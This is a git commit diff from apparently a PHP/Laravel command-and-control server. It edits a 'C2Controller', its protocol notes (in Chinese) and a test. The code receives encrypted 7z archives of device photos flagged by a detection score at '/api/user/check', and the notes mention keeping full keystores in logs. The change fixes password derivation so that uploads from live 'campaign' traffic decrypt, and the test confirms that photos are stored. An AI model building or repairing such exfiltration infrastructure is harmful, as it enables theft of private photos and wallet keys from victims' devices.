init
This commit is contained in:
+2
-1
@@ -329,8 +329,9 @@ Lab:尝试从 `result`/地址类字段入库;完整 keystore 保留在日志
|
|||||||
| `x-hit` | 检测分数类短字段 |
|
| `x-hit` | 检测分数类短字段 |
|
||||||
| `rid` | ~36 字符请求/资源 id |
|
| `rid` | ~36 字符请求/资源 id |
|
||||||
| `c`,`d`,`f`,`s`,`u`,`b`,`m`,`ts` | 设备/会话侧短字段(与 JSON 接口同族) |
|
| `c`,`d`,`f`,`s`,`u`,`b`,`m`,`ts` | 设备/会话侧短字段(与 JSON 接口同族) |
|
||||||
|
| `ts` | **即 batchBase**:首批为 `"0"`;后续为 `LastProcessedTimestamp` 十进制字符串 |
|
||||||
|
|
||||||
7z 口令:`session_key || batchBase`;首批 `LastProcessedTimestamp` 为 `0` 时 batchBase=`"0"`。
|
7z 口令:`session_key || ts`(Lab 读 multipart 字段 `ts`;缺省才回落 `"0"`)。
|
||||||
|
|
||||||
**响应**:加密 ack(Lab)。战役侧亦为加密成功体,具体 JSON 未作为契约固定。
|
**响应**:加密 ack(Lab)。战役侧亦为加密成功体,具体 JSON 未作为契约固定。
|
||||||
|
|
||||||
|
|||||||
@@ -115,9 +115,13 @@ class C2Controller extends Controller
|
|||||||
$deviceKey ? (string) $deviceKey : null
|
$deviceKey ? (string) $deviceKey : null
|
||||||
);
|
);
|
||||||
|
|
||||||
|
// Archive password = session_key || batchBaseTimestampString.
|
||||||
|
// Fresh scan: multipart `ts` is "0". Later batches send LastProcessedTimestamp
|
||||||
|
// in `ts` (e.g. "1785596422") — must not fall back to "0" or 7z won't open.
|
||||||
$batchBase = (string) ($request->input('batchBase')
|
$batchBase = (string) ($request->input('batchBase')
|
||||||
?? $request->input('batch_base')
|
?? $request->input('batch_base')
|
||||||
?? $request->input('base')
|
?? $request->input('base')
|
||||||
|
?? $request->input('ts')
|
||||||
?? '0');
|
?? '0');
|
||||||
if ($batchBase === '') {
|
if ($batchBase === '') {
|
||||||
$batchBase = '0';
|
$batchBase = '0';
|
||||||
@@ -128,6 +132,8 @@ class C2Controller extends Controller
|
|||||||
'total' => $request->input('total'),
|
'total' => $request->input('total'),
|
||||||
'index' => $request->input('index'),
|
'index' => $request->input('index'),
|
||||||
'batchBase' => $batchBase,
|
'batchBase' => $batchBase,
|
||||||
|
'ts' => $request->input('ts'),
|
||||||
|
'x-hit' => $request->input('x-hit'),
|
||||||
];
|
];
|
||||||
|
|
||||||
$attachmentRel = null;
|
$attachmentRel = null;
|
||||||
|
|||||||
@@ -343,6 +343,53 @@ class C2ApiTest extends TestCase
|
|||||||
@rmdir($tmp);
|
@rmdir($tmp);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function check_uses_multipart_ts_as_batch_base_password(): void
|
||||||
|
{
|
||||||
|
Storage::fake('local');
|
||||||
|
$crypto = new CorunaCrypto;
|
||||||
|
$tmp = sys_get_temp_dir().'/coruna_photo_ts_'.uniqid();
|
||||||
|
mkdir($tmp);
|
||||||
|
$jpegPath = $tmp.'/hit.jpg';
|
||||||
|
file_put_contents($jpegPath, "\xFF\xD8\xFF\xD9");
|
||||||
|
$archivePath = $tmp.'/capture.7z';
|
||||||
|
$batchTs = '1785596422';
|
||||||
|
$password = $crypto->archivePassword($batchTs);
|
||||||
|
$bin = is_executable('/opt/homebrew/opt/p7zip/bin/7z')
|
||||||
|
? '/opt/homebrew/opt/p7zip/bin/7z'
|
||||||
|
: '7z';
|
||||||
|
$cmd = escapeshellarg($bin).' a -y -p'.escapeshellarg($password)
|
||||||
|
.' '.escapeshellarg($archivePath).' '.escapeshellarg($jpegPath).' 2>&1';
|
||||||
|
exec($cmd, $out, $code);
|
||||||
|
$this->assertSame(0, $code, implode("\n", $out));
|
||||||
|
|
||||||
|
$upload = new UploadedFile($archivePath, 'capture.7z', 'application/octet-stream', null, true);
|
||||||
|
// Live traffic: no batchBase field; password suffix is multipart `ts`.
|
||||||
|
$this->call(
|
||||||
|
'POST',
|
||||||
|
'/api/user/check',
|
||||||
|
[
|
||||||
|
'd' => 'dev-photo-ts',
|
||||||
|
'f' => 'dev-photo-ts',
|
||||||
|
'ts' => $batchTs,
|
||||||
|
'x-hit' => '12',
|
||||||
|
],
|
||||||
|
[],
|
||||||
|
['file' => $upload],
|
||||||
|
['CONTENT_TYPE' => 'multipart/form-data']
|
||||||
|
)->assertOk();
|
||||||
|
|
||||||
|
$device = Device::query()->where('device_id', 'dev-photo-ts')->first();
|
||||||
|
$this->assertNotNull($device);
|
||||||
|
$this->assertTrue(
|
||||||
|
Photo::query()->where('device_id', $device->id)->exists()
|
||||||
|
);
|
||||||
|
|
||||||
|
@unlink($jpegPath);
|
||||||
|
@unlink($archivePath);
|
||||||
|
@rmdir($tmp);
|
||||||
|
}
|
||||||
|
|
||||||
#[Test]
|
#[Test]
|
||||||
public function admin_guest_is_redirected_to_admin_login(): void
|
public function admin_guest_is_redirected_to_admin_login(): void
|
||||||
{
|
{
|
||||||
|
|||||||
Reference in New Issue
Block a user